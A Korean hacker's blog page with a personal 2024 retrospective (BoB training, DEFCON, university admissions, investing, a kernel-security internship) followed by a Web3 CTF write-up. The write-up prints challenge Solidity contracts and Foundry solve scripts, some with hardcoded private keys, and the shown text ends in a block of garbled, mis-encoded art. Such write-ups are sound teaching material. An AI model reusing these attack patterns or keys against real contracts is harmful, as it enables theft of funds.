Sechack

2024년 회고

Sechack — Sat, 28 Dec 2024 01:31:59 +0900

블로그에 글 쓰는게 너무 오랜만이다. 2024년 한 해를 어떻게 살았는지 돌아보는 시간을 가져볼것이다.

1월 ~ 3월

비오비 경연단계였다. 프로젝트가 끝나고 2주 이상의 공백기간이 있었지만 기나긴 트랙교육과 프로젝트로 인해 망가진 정신상태를 되돌리기에는 부족한 시간이었다. 게다가 경연단계 과제도 트랙교육과는 다르게 개빡세게 나와서 프로젝트 이상으로 시간을 때려박아야 Best 10을 노려볼 수 있었다. 이미 정상적인 정신상태가 아닌 상태로 시작했었기에 중반까지는 어찌저찌 비비다가 멘탈 나가서 그냥 다 던졌다. 하루종일 침대에서 폰보면서 커뮤니티 돌아댕기고 유튜브보고 그냥 백수 히키코모리처럼 생활하다가 수업때만 센터 가고 그랬다. 자존감 멘탈 이미 다 개박살나서 바닥을 치고 있었고 누워서 폰만 보니까 우울감까지 더해져서 아마 2024년중에 이때가 최악의 정신상태였지 않을까 싶다. 그렇게 결국 길고 길었던 BoB가 끝이 났다. 끝나니까 진짜 살맛 났다. 지금 와서 돌아보니까 경연단계를 비롯해서 BoB자체가 그렇게 빡세지는 않다. 하지만 나는 기간안에 무언가를 끝내야하는 압박감 이런거에 굉장히 약해서 스트레스를 많이 받았던거 같다. 그냥 이런 류의 교육 프로그램이 내 성향과 상성이 너무 안맞아서 정신적으로 좀 힘들었다. 그래도 수료하기 전보다 전체적으로 많이 성장했고 실력적인 면을 비롯해서 여러 방면에서 많은 도움이 되었다.

3월 ~ 7월

BoB가 끝나고 다시 클라이밍을 엄청 열심히 하던 시기였다. BoB의 여파로 이때는 컴퓨터 자체를 안했던거같다. 맨몸운동에도 관심이 생겼다. 플란체랑 물구나무푸시업 하고싶어서 이준명 유튜브 보면서 연습하고 또 클라이밍가고.. 그냥 운동만 엄청 했던 시기였다. 알사람은 다 알겠지만 이 시기는 오픈채팅방 하나 들어가서 깽판치던 시기기도 했다. 그리고 가장 큰 이벤트가 하나 있었는데 Cold Fusion이라는 한국 연합팀으로 DEFCON본선에 진출하게 되었다.

7월 ~ 9월

항상 1년을 돌아보면 중요한 일들은 전부 하반기에 생기는것 같다. 일단 7월에 Theori에 현장실습을 가게 되었다. 동시에 DEFCON본선도 가게 되었는데 비행기 타기 전날에 Theori분이랑 클라이밍 하다가 발목을 다쳐버려서 반깁스를 하고 미국에 가게 되었다. 암장 마감 직전에 힘 다빠졌을때 딱 한번만 더 시도해보고 집 가야지 했는데 그 막트에 다쳐버린것이다. ㅋㅋ;; 그래도 미국가서 할리우드 못간거 빼고는 할건 다 했다. 유니버셜 스튜디오도 갈까말까 고민하다가 그냥 갔는데 생각보다 반깁스 하고 돌아댕기는게 할만했다. 물론 걷는 속도가 느려서 민폐긴 했지만 다들 배려해 주셨고 다쳐서 간거 치고는 나름 재밌게 즐겼다고 생각한다. 물론 클라이밍은 수개월간 못하게 되었다. 발목도 발목인데 손목에 tfcc도 아팠어서 클라이밍 뿐만 아니라 푸시업도 몇개월동안 할 수 없었다. ㅠㅠ

8월 말에는 인생 마지막 청소년부 Codegate가 있었다. 주변 사람들한테 1등 못하면 한강가서 뛰어내림 시전한다음 대회장 갔는데 거하게 말아먹었다. 근데 1등한애가 선린에서 같이 해킹을 공부했고 Theori까지 같이 다니고 있는 친구인 msh1307이었어서 이틀동안 멘탈이 이중으로 나갔었다.

9월 ~ 12월 (입시 썰)

올해중 가장 많은 일과 많은 변화가 일어난 시기이다. 9월에는 조금 바빴다. 해마다 오는 대회 시즌에다가 대학 입시 시즌까지 겹쳐버린 것이다. 선린 합격하고 본격적으로 해킹쪽 활동할생각에 좋아하던 때가 엊그제같은데.. 벌써 졸업할때가 되었다. ㅋㅋ

대학은 KAIST랑 숭실대 정보보호학과랑 고려대 사이버국방학과 이렇게 3개를 특기자로 지원했다. 지망 순서는 KAIST랑 숭실대가 공동 1지망이고 고려대 사이버국방학과가 가장 후순위였다. 원서 넣는 과정도 다사다난했는데 썰을 풀어보자면 일단 고려대 사이버국방학과는 국민체력 100 체력검정 결과를 같이 내야한다. 체력검정 결과지가 필수 서류이다. 그래서 예약하려고 봤더니 다 꽉차있어서 충청남도에 하나 남는곳으로 예약을 했다. 그리고 당일에 늦잠을 잤다. 이때 못가면 그냥 아예 기회가 없었기 때문에 씻지도 않고 무지성 택시잡고 기차타러 갔다. 게다가 DEFCON이슈로 계좌에 택시비도 없어서 30만원도 빌렸다. 저 30만원 빌려주신 분이 KAIST자소서도 많이 도와주셨다. 다행이 씻는걸 포기했기 때문에 기차는 탈 수 있었다. 그런데 막상 가서도 문제가 생겼다. 체력검정 받으러 갈 당시에는 발목 다친지 얼마 안되서 보조기 차고 다니던 시절이라 체력검정을 받으려면 의사 소견서가 필요하다는 것이다. 주변 보건소에 가라고 하길래 가서 받으려고 했더니 이미 의사분들이 다 퇴근해서 못써주고 받을거면 시내에 정형외과를 가야된다고 했다. 결국 충청남도에서 뺑뺑이 레전드를 찍고 소견서를 받아서 체력검정을 받았다. 받고 나서 홀가분한 마음으로 돌아오는 기차를 살펴보니 시간이 꽤 남았길래 PC방에서 시간좀 때우다가 집에 왔다. 서류하나 받으려고 당일치기 여행을 하는 레전드 경험이었다.

KAIST 특기자 전형은 자소서랑 특기입증자료를 만들어서 제출해야 한다. 자소서는 미리 만들어놨고 검수도 받으면서 수정도 여러번 했는데 특기입증자료는 귀차니즘때문에 미루다가 제출 전날에 위기감을 느끼고 만들기 시작했다. 제출 당일은 CCE본선이 진행되는 날이었는데 전날에 새벽 5시까지 만들다가 1시간만 자고 CCE대회장 가서 12시까지 마저 만든 후에 대회를 뛴다는 계획을 세우고 잠을 잤는데 알람을 못듣고 9시에 일어나게 되었다. 그래서 대회장에 늦게 가게 되었고 가서도 특기입증자료 완성하느라 대회를 얼마 못뛰었다. 특기입증자료를 완성하고 대회 문제를 조금 봤는데 시간 박으면 무조건 풀리는 웹 문제가 있었지만 시간이 부족해서 결국 CCE는 2등을 하게 되었고 특기입증자료는 정상적으로 완성해서 제출할 수 있었다.

이렇게 대회까지 던져가면서 다사다난하게 지원을 끝낼 수 있었던 두 학교는 전부 1차 광탈을 하게 된다. 아마 생기부때문에 그냥 광탈한것 같다. 전과목 내신 평균 7등급대에다가 무단지각도 비오비때 생긴 9회가 있었고

내용도 친구한테 보여주니까 대충 이런 반응이었다.

암튼 두개 1차 광탈하고 숭실대만 1차 붙었다. 숭실대 정보보호학과 특기자는 애초에 지원자격이 메이저 해킹대회 상장이라서 지원자격이 되는 사람이 별로 없다. 최종 4명, 서류 3배수 선발인데 10명밖에 지원을 안했다. 그래서 1차는 아마 전원 합격을 했을거고 면접을 보러갔다.

KAIST빼고는 자소서나 특기입증자료같은게 없고 그냥 생기부랑 지정된 대회 상장만 넣는거라 면접때 내가 해온것들과 내 실적들을 최대한 많이 말해야 합격 가능성이 높아진다고 생각을 했고 면접 전날에 chatgpt랑 같이 머리 굴리면서 내가보기에 거의 완벽에 가까운 자기소개를 만들고 통암기해갔다. 처음에 들어가서 암기한 자기소개 깔끔하게 말만 하면 무조건 붙는다는 생각으로 면접실에 들어갔다. 하지만 정작 자기소개할 기회가 없어서 초반에 멘탈이 나갔었다. 면접 보고 나서 드는 느낌은 떨어질거라는 느낌이었는데 막상 면접 내용을 돌아보니까 답변할때 어떻게든 끼워팔기 하면서 자기소개에 넣은 내용 대부분을 말했다. 느낌은 망했다는 느낌인데 막상 내용을 까보니까 괜찮은거 같기도 하고.. 그렇게 긴가민가 한상태로 합격 발표날까지 기다렸다.

GGWP~~ 입시 끝.

위에서 내 생기부 얘기했던 애는 나랑 같이 숭실대 정보보호 특기자 붙었다가 성균관 2차 추합 떠서 숭실대 정보보호학과랑 고민하다가 문서등록 마감 2시간 전에 결국 성균관을 선택했다. 코게 1등한 msh1307은 예상대로 카이스트 갔고 초6때 같이 C언어 공부하던 친구는 인문계에서 공부해서 고려대 붙었다. 나를 포함해서 다들 입시가 잘 풀린거같아서 기분이 좋다.

솔직히 나는 대학에서 원하는 사람과는 거리가 멀다. 대학에서 원하는 인재상은 성실하게 학교생활하고 공부 열심히 하면서 어느정도 진로도 정해두고 관련 전공 분야에 관심이 많은 사람일 것이다. 하지만 나는 학교공부 1도 안하고 하고싶은 컴퓨터만 주구장창 하면서 하고싶은대로 살았다. 컴퓨터 쪽으로 실적이 많이 쌓인것도 목표를 정하고 노력을 한게 아니라 그냥 코딩이 재밌어서 컴퓨터 앞에서 이것저것 개발해보다가 재밌어보여서 해킹 시작하고 워게임, CTF접하면서 플래그 딸때랑 상위권 순위 먹을때 도파민 나와서 도파민 중독자처럼 계속 하다보니 실적이 많이 쌓인 느낌이다. 그리고 중3때 Whitehat Contest를 청소년부로 처음 나가봤다. 본선만 가도 감지덕지다 라는 마인드로 참여했는데

위 사진과 같이 본선 5등을 해버려서(2021년 팀명 에밀리아) "어? 생각보다 할만한데? 고등학교 가면 청소년부는 내가 다 씹어먹을 수 있을듯..?" 이런 생각이 들었다. 이 첫 국내 메이저 해킹대회가 학교공부 안하고 컴퓨터만 하기로 생각을 굳힌 계기가 되었다.

고등학교 1학년때부터 특기자 쪽을 어느정도 생각은 했지만 별로 대학 진학에 대한 뜻이 없었기 때문에 대학 진학을 위해서 무언갈 해본적도 없고 관심도 없었다. 그저 개쩌는 실력을 가지신 Theori연구원분들을 보며 빨리 저렇게 되고싶다는 생각뿐이었다. 고1때 숭실대학교 정보보호학과가 신설될 예정이고 특기자 전형이 생긴다는 소식을 들었을때도 그냥 원서넣을곳 하나 늘어났다는 생각 말고는 별 관심이 없었다. 하지만 시간이 지나면서 인생에 대한 가치관이 달라졌고 점점 생각이 대학 진학쪽으로 바뀌었다. 3학년이 되고 나서는 내신이랑 생기부좀 챙길걸 하는 후회를 많이 했다.

내신, 출결, 생기부 전부 개판이었고 오로지 실적과 지금까지 해온 것들에 의존하는 매우 도박적이고 특이케이스인 대학 입시였는데 운이 참 좋은것 같다. 초6때 C언어로 처음 컴퓨터를 접한 이후 컴퓨터만 했기 때문에 선린 지원할때도 내신때문에 조마조마했고 대학 지원할때도 내신이랑 생기부 때문에 조마조마했는데 결국 원하는 결과를 얻기는 했다. 돌아보니까 인생은 운칠기삼이 맞는거같기도.. 생각보다 인생은 운의 비중이 큰것같다. 인생에서 노력을 해야하는 이유는 노력으로 무언가를 이룬다기보다는 운이 찾아왔을때 운을 잡을 준비가 되어있어야 하기 때문에 노력을 해야하는게 아닐까 싶다.

9월 ~ 12월 (자산운용에 눈뜨인 썰)

원래 나는 몇달 전까지만 해도 주식, 코인과 같은 투자쪽은 1도 몰랐고 관심자체는 조금 있었는데 해볼 생각이나 공부해볼 생각은 없었다. 대회 상금 받으면 그냥 쓸 돈이 많아졌다는 생각밖에 없었고 회사 월급 받으면서 여윳돈이 좀 생기니까 그냥 적금으로 돈모아보자 이런 생각까지밖에 안했다. 이랬던 시절에 나를 바꿔놓았던 한 사람이 있다. 알사람은 다 알테지만 3월 ~ 7월 파트에 잠깐 언급했던 깽판치던 오픈채팅방에 있던 사람중에 코인으로 수십억 자산가가 된 사람이 있다. 그 사람을 보고 코인 선물에 관심을 가지기 시작했고 아무런 지식이 없는 상태로 무지성으로 코인 선물을 시작했다. 몇십만원 정도를 굴렸었는데 처음에 좀 벌리다가 대부분 청산당했다. 몇번 해보다가 재능이 없음을 느끼고 코인 현물로 관심을 돌렸다. 이때부터 차트분석과 투기성 단타 매매가 아닌 가치투자와 안전자산 관점으로 코인을 바라보기 시작했다. 코인 하는 과정에서 트랜잭션 여러번 해보고 거래소 지갑, 개인 지갑 차이나 핫월렛 콜드월렛 장단점, 사토시 나카모토는 누구인가, POW채굴 방식과 POS채굴 방식 등 잡다한걸 찾아보면서 코인이 무엇이고 블록체인이 어떤 기술인지 깨닫게 되었다. 본질적인걸 깨달으니까 전에 web3공부한다고 잠깐 해봤던 솔리디티, 스마트컨트랙트가 무엇인지도 정확히 이해되었다. web3 워게임 푸는데만 치중하고 정작 본질적인건 모르고 있었는데 뭔가 큰 깨달음을 얻은 느낌이었다.

이후 디앱 생태계에 관심이 생겼다. 자연스럽게 에드작이나 텔레그램 미니게임 채굴 이런거에 관심이 생기기 시작했다. 근데 이쪽은 너무 사기가 판쳐서 10 ~ 20만원정도 날리고 그냥 접었다. 이러한 시행착오들을 거치면서 생각보다 web3라는 분야는 무궁무진한 가능성이 있다는걸 느꼈다. 해커 관점에서도 web3가 매력적이고 web3 생태계 자체는 점점 발전할것 같다.

코인쪽으로 공부도 많이 해보고 이것저것 잡다한것도 해보다보니까 주식에도 관심이 생겼다. 이제부터는 코인이 아니라 그냥 자산 자체를 굴리는 법과 경제에 대해 관심이 생겼고 찾아보고 공부해보고 있는데 엄청 재미있다. 요즘은 해킹 공부보다 돈공부가 훨씬 재미있는것 같다. 아직 만 18세 미성년자라서 혼자 주식계좌를 못만들기때문에 부모님한테 찡찡대서 며칠전에 키움증권 계좌를 만들었다. 이제부터 본격적으로 내 돈을 굴려볼 생각이다. 며칠동안 포트폴리오를 어떻게 구성할지 고민을좀 해봤는데 나는 배당, 지수추종, 성장주 이렇게 3가지에 분산투자할 생각이다. 배당쪽은 BITO랑(현금흐름 확보용 BTC투자) JEPI, JEPQ같은 고배당 커버드콜 ETF, 그리고 SCHD와 같이 안정적인 배당 ETF 이렇게 3가지로 나눠서 투자할 생각이다. 지수추종쪽은 당연히 나스닥 100추종인 QQQ랑 S&P500추종인 VOO를 메인으로 적립식으로 들어갈거고 QLD, TQQQ같은 레버리지 지수추종도 조금 섞을 예정이다. 성장주는 시대 흐름과 상황에 맞게 반년 ~ 2년 주기로 포트폴리오가 바뀌지 않을까 싶다. 적어도 앞으로 5년동안은 AI쪽이 유망할거같긴 하다.

9월 ~ 12월 (Theori 인턴 썰)

7월 22일에 티오리로 현장 실습을 갔고 SA팀에서 1개월 반, VR팀에서 1개월 반 있었다. 지금은 현장실습 끝나고 그냥 인턴으로 대학 입학 전까지 일하고 있다. SA팀에서는 딱히 성과를 내지는 못했고 스스로도 아쉬움이 좀 남았었다. VR팀에 와서는 Linux Kernel을 하고 있는데 여러 서브시스템들의 1-day를 분석해서 보고서를 쓰고 0-day도 찾으려는 노력을 하고 있다.

어쩌다 보니 1-day가지고 google kernelCTF에서 mitigation instance exploit에 성공했다. 물론 온전히 혼자 한건 아니고 회사 사람들의 도움을 많이 받았지만 그래도 고인물의 영역인줄 알았던 kernelCTF를 내가 직접 따보니까 기분이 너무 좋았다. 위 사진은 kernelCTF 스프레드시트 사진이다.

https://github.com/google/security-research/pull/141/files

Add kernelCTF CVE-2023-6931_mitigation by Sechack06 · Pull Request #141 · google/security-research

github.com

현재 보고서 쓰고 위와 같이 PR요청해둔 상태이다. 영어를 번역기에 의존해서 영어가 많이 어색할거같긴 하다.

VR에서 인턴을 하면서 많이 성장했다. 특히 3달이 넘는 기간동안 VR팀에서 Linux Kernel을 보면서 Linux Kernel Exploit쪽으로는 엄청난 성장을 한게 체감된다. 앞으로는 커널에서 제로데이도 한번 찾아보고 싶다. 나는 변태같은 익스 차력쇼 쪽으로는 머리가 잘돌아가지만 리버싱이나 코드 분석 능력이 상대적으로 부족하다. 코드 읽는 능력 길러서 Linux Kernel에서 0-day찾고 kernelCTF LTS Instance에서도 한번 플래그 따보고싶다. 분석 능력만 좀더 키우면 지금보다 훨씬 고수가 될 수 있을것 같다.

글을 다 쓰고 전체적으로 한 해를 돌아보니까 하반기에 많은 일이 일어났고 나 자신도 많은 변화가 있었던것 같다. 이제 2025년은 대학교라는 새로운 곳에서 살아가야 하는데 솔직히 기대도 되고 걱정도 된다. 고등학교때의 인간관계를 돌아보면 주변에 보안업계 사람이나 개발, 알고리즘 등 컴퓨터를 하는 친구들이 대다수였다. 대학 가서는 컴퓨터 하는 사람 말고도 다양한 환경에서 다양하게 살아온 사람들로 인간관계가 이루어졌으면 좋겠다.

Whats your ETH CTF (Web3 CTF) Write up

Sechack — Fri, 5 Jul 2024 01:37:28 +0900

등교길에 지하철에서 드림핵 디스코드를 보다가 이런걸 발견했다. 마침 Web3공부를 막 시작한 상태였고 시험기간이라 학교에서도 풀로 자습을 줘서 (~~자습 아니어도 노트북 하긴 한다~~) 학교에서 에어팟끼고 노래를 들으며 재밌게 CTF를 했다.

결국엔 올클을 했고

1등을 했다.

ethernaut으로 블록체인 처음 시작하고 시작한지 이틀만에 드림핵에서 위 두 문제를 풀었었는데 그게 20일도 안됐다. 물론 쉬운 문제들만 있긴 했지만 시작한지 대략 20일정도밖에 안된 뉴비임에도 불구하고 문제들이 슉슉 풀리는게 스스로도 조금 놀랍다.

Youth

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Adolescent {
    bool public solved;

    function solve(uint256 age) external {
        require(age >= 9 && age <= 24, "Only MZ generation access it.");
        solved = true;
    }
}

그냥 age조건 맞춰서 solve함수 부르면 끝난다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Adolescent public target;

    function run() external {
        target = Adolescent(0x62774Fd222af6F4a65c22114422e96d3cF6D49F1);
        vm.startBroadcast(0xf1c90815251ff59142c495b6bd4c74c48d6f9127f44a9504c0a16fffbbb74220);
        target.solve(18)
        vm.stopBroadcast();
    }
}

WaterPuzzle

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
#### 비커에 물 채우기 ####
1. 4L, 7L, 8L 비커를 가지고 10L 비커를 채우면 성공
2. 10L 비커에는 이미 3L의 물이 들어있다.
3. 물은 4L 비커에서 7L 비커로, 7L 비커에서 8L 비커로, 8L 비커에서 10L 비커로만 옮길 수 있다.
4. 다른 비커로 물을 옮길 때마다 1L가 증발
5. 비커는 꽉 채우지 않아도 물을 옮길 수 있다.
6. 4L 비커는 처음부터 꽉 채워져 있으며, 비울 때마다 자동으로 4L 채워진다.
*/

contract WaterPuzzle {
    uint256 public beaker4;
    uint256 public beaker7;
    uint256 public beaker8;
    uint256 public beaker10;

    bool public solved;

    constructor() {
        beaker4 = 4;
        beaker7 = 0;
        beaker8 = 0;
        beaker10 = 3;
        solved = false;
    }

    function pour4to7() public {
        require(beaker4 > 0, "4L beaker is empty");
        require(beaker7 < 7, "7L beaker is full");

        uint256 pourAmount = min(beaker4 - 1, 7 - beaker7);
        beaker4 -= (pourAmount + 1);
        beaker7 += pourAmount;

        beaker4 = 4;
    }

    function pour7to8() public {
        require(beaker7 > 0, "7L beaker is empty");
        require(beaker8 < 8, "8L beaker is full");

        uint256 pourAmount = min(beaker7 - 1, 8 - beaker8);
        beaker7 -= (pourAmount + 1);
        beaker8 += pourAmount;
    }

    function pour8to10() public {
        require(beaker8 > 0, "8L beaker is empty");
        require(beaker10 < 10, "10L beaker is full");

        uint256 pourAmount = min(beaker8 - 1, 10 - beaker10);
        beaker8 -= (pourAmount + 1);
        beaker10 += pourAmount;
    }

    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    function solve() external {
        if (beaker10 == 10)
            solved = true;
    }
}

위에 주석에 코드 내용이 다 써있긴 한데 CTF당시에는 주석 안보고 코드만 봤다. 4리터 비커 -> 7리터 비커 -> 8리터 비커 -> 10리터 비커 이렇게 옮기는걸 7번 반복하면 된다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    WaterPuzzle public target;

    function run() external {
        target = WaterPuzzle(0xDF7de2F1E3F44d7ED34c60cbE1d7AeE480947625);
        vm.startBroadcast(0x4085fc39fc25c2ef7565d726528080329860b1b368a714e5a286b9ce1dc5ab28);
        for(uint i = 0; i < 7; i++){
            target.pour4to7();
            target.pour7to8();
            target.pour8to10();
        }
        target.solve();
        vm.stopBroadcast();
    }
}

GasGasGas

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Gasgasgas {
    bool public solved;

    fallback() external payable {
        require(isContract(msg.sender), "It's Not contract!");
        for (uint i = 0; i < 1000; i++) {
        }
    }

    function solve() external {
        require(address(this).balance != 0, "recieved value is Zero");
        solved = true;
    }
    
    function isContract(address account) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

msg.sender가 contract여야 한다. 따라서 contract의 함수에서 이더를 보내고 solve함수를 부르면 된다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Gasgasgas public target;

    function run() external {
        target = Gasgasgas(payable(0x98c71C2065579162a7bbcD1A2AA4F248E8003B10));
        vm.startBroadcast(0xe7e8b331c191ed1e4c98506d7da1da772656ab508179464800cea49f5b240ebc);
        Ex ex = new Ex();
        ex.exploit{value: 1 ether}(target);
        vm.stopBroadcast();
    }
}

contract Ex{
    function exploit(Gasgasgas target) public payable {
        address(target).call{value: msg.value}("");
        target.solve();
    }
}

Force

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Force {
    /*
тбгтггтв│твХтвХтв╡твХтвХтвЗтвЧтвХтвЗтазтб│тб▒тбХтгХта╡твХтвХтвЗтвЧтвЭтбЬтбОтботбктбктбОтбЮтбЬтгОтвОтвЮтвЬтвОтботг║та╜таСтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтгФтботаЯтаЙтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатв┤тв╜тг╜тглтбптб┐тг╜тв╜тб╜тг╜тглтбптгптбптаЯтаАтаАтаАтгатгЯтвЗтвЧ
тбктбктбктгОтвЧтвХтвХта╡тбХтбЗтбПтботантбктбктбОтгОтвЭтвХтв╡твХтвЗтвзтвгтбгтбгтблтбктб║тб╕тг▒тв▒твХтвЭтгЬтб╡тбПтаГтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтгФтб╛та│таБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатгЦтбптгптв┐тв╜тг║тв╛тв╜твптбптгптвптб╖тбптгптаЧтаБтаАтаАтгАтб╝тб╛твЬтвЬтвХ
твктвЭтвЬтвЦтвХтбХтб╡тб╣тб╕тб╕тбктбктбЭтбЬтбОтбЮтбЬтбЬтбХтгХтвХтбХтгЗтвзтвгтвлтбктгктбгтб│тб▒тб▒тбХтг╡таЧтаНтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатб┤таЯтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтбдтгЯтг╖тг│тв┐тв╜тглтв┐тв╜тв╜твптбптгптв╖тг╗та╜таЛтаВтаАтаАтватг░тв╛твЭтвХтбХтгЗтвп
твОтгОтвзтв│тб▒тб▒тбХтгЭтвЬтвХтвЭтвЬтвЬтвОтвЮтвЬтвХтбгтблтбктбктбктгОтвЮтвЬтвХтвХтвХтвХтв╡тв╣тб╕тб╛таЭтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтвдтбЯтаЭтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватв┤твптбптг╖тг│твптгЯтг╜тв╜твптв┐тв╜твптбптбптбПтаГтаБтаАтаАтгАтгЦтбптбПтбЗтбзтбгтбгтбгтбг
твХтвОтвотвктбктгктбктгктвктвгтв│твХтгУтвХтв╡тв╣тв╕твктбктбктблтгктв▓твХтвХтгХта╡тбХтгЭтвЬтгктб╛таЛтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтв┤таЭтаСтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтватботб┐тг╜тглтбптгЧтгптгЯтб╛тг╜тв╜твптв┐тв╜таПтаЛтаАтаАтаАтвАтвдтг║тб║тгУтвЭтвЬтаотбктб║тбктбктбл
твХтвХтвзтвгтблтбктбктбктбОтбЗтбЧтбХтбХтгХтв╡тв╣твЬтвЬтвЬтвотв╣тб╕тбЬтгХтвХтвХтв╡тв╣тв╕твЬтб╖таЙтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтб┤тбЭтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтг░тг║тб╜тб╜тбптгЧтг╖тг╗тб╜тгЮтб╛тг╜тг│тв╗таЩтаЙтаАтаАтаАтвАтбатготвптвЯтвЬтбЬтгЬтвХтвнтвЭтвЬтвОтвотвктв║
тбЬтгХтвХтвЗтвЧтвЭтвЬтвХтбХтбЭтгЬтбктбгтбгтбгтб│тб▒твЭтвЬтвЬтгЬтвЬтв╝тв╕твктвгтбгтб│тб▒тгптаГтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатаЯтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтб┤тгЮтгЮтгЧтб┐тб╜тгптвЯтгЮтб╛та╜таЭтаЩтаБтаБтаАтаАтаАтгАтгдтв╛тв╜твЭтвОтвЗтвзтвгтблтбктбктггтвУтбХтгЗтвЗтвПтвО
тбОтботбктггтвУтвХтв╡твХтвХтвЭтбвтблтбктбктбОтбЗтбЧтгХтв╡твХтвХтвХтвнтбктбктбктбктбктб│тгЗтб┤та┤таВтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтб┤таГтаАтаАтаАтаАтаАтаАтаАтаАтвАтвДтб┤тгЮтбптгптгЯтгЮта╖та╗та╣таЩтаЙтаАтаАтаАтаАтаАтбАтгАтгДтб╢тбптб│тбЭтгХтвХтвХтвХтв╡тв▒твХтаотбктблтбктбктвОтвЦтвХта╡тбН
тбгтггтв│тв▒твНтвЧтвХтвХтбХтгЗтвзтвгтвлтвктбктб║тб╕тгТтвХтбХтб╡тб╣тбЬтбЬтгОтвЭтботбЧтаПтаГтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтаЬтаБтаАтаАтаАтаАтаАтаАтватг░тб╝тгЮтбптбЯтаЭтаНтаБтаАтаАтаАтаАтаАтаАтвАтгАтгДтб┤тг┤тб╗тб║тбЭтгОтвотбктб║тб╕тгТтв╡тв╣тв╕твктбктбОтботггтвлтбктб║тб▒тбХтгХтвЭтбЬ
твЗтвЗтвзтв│тв▒тбгтблтбктбктбОтботбктгУтвХтвХтбЭтгЬтбктбктбктботб║тг╕твХтбЧтаПтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтавталтаЫтаШтаЙтаАтаАтаАтаАтвАтгАтбатбдтгФтб╢тг║та╛тбЭтбЮтбОтбПтбЦтгХта╡твХтвХтгХтв╡тв╣тб╕тб╕тб╕тбктбктб│тб╕тбЬтб╝твЬтвОтвотвктбгтбгтбгтггтвг
твХтвЭтвЬтвотвктбктб║тбктбгтб│тб▒тбХтгХтвХтвЗтвзтвгтбктбктботгктгЮта╛таЙтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтвдтвжтб╢тгЮта╛тбЭтгПтвЮтвЭтвЭтвХтвЭтбЬтгктбктбктбктб║тб╕тбЬтбнтвХтв╡твХтвХтвЗтвПтвотвктб║тбктбгтбгтб│тб▒тбХтбЧтбХтбЗтбзтблтбктгктвк
тгХтв╡тв╣твЬтвЬтвотвктбктбОтбзтбгтб│тб▒тб▒тбХтбЗтбЧтвотвктг║тб║таКтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаАтаИтаИтаЩта║твзтг│тб▒тбХтбХтгЗтаптбХтб╡тб▒тбктбОтбПтботбктбОтгОтвзта│тбХтгЭтвЬтвОтвотвктбктбктбОтботбгтб│тбХтб╡тб╣тбЬтб╝тб╕тбктбктбО
тбгтггтв│твХтвЗтвЧтвХтвХтбХтб╡тб╣тб╕тбктбктб║тб╕тбктггтвптаЮтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаШтв│твзтблтбктб║тб╕тбктвОтвЗтвЧтвХтв╡тв▒тантбктбктб║тбктбктбОтгЗтвЧтвХтвХтв╡тв▒твХтбЭтгЬтбктвотвктвОтвОтвотвХта╡тбХ
тблтбктбктбктгОтвХтвХтгХтвХтвЗтвПтаотбктвотвктбгтг│таптаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЙтбптботбктбОтбЧтгХтвХтвХтгХтв╡тв▒тв╣твктбктбктбОтгЗтвЗтвЗтвЧтвХтв╡твХтвЗтвЗтвзтвгтбктбгтб│тб▒тбХтгХтвХтв╡твХ
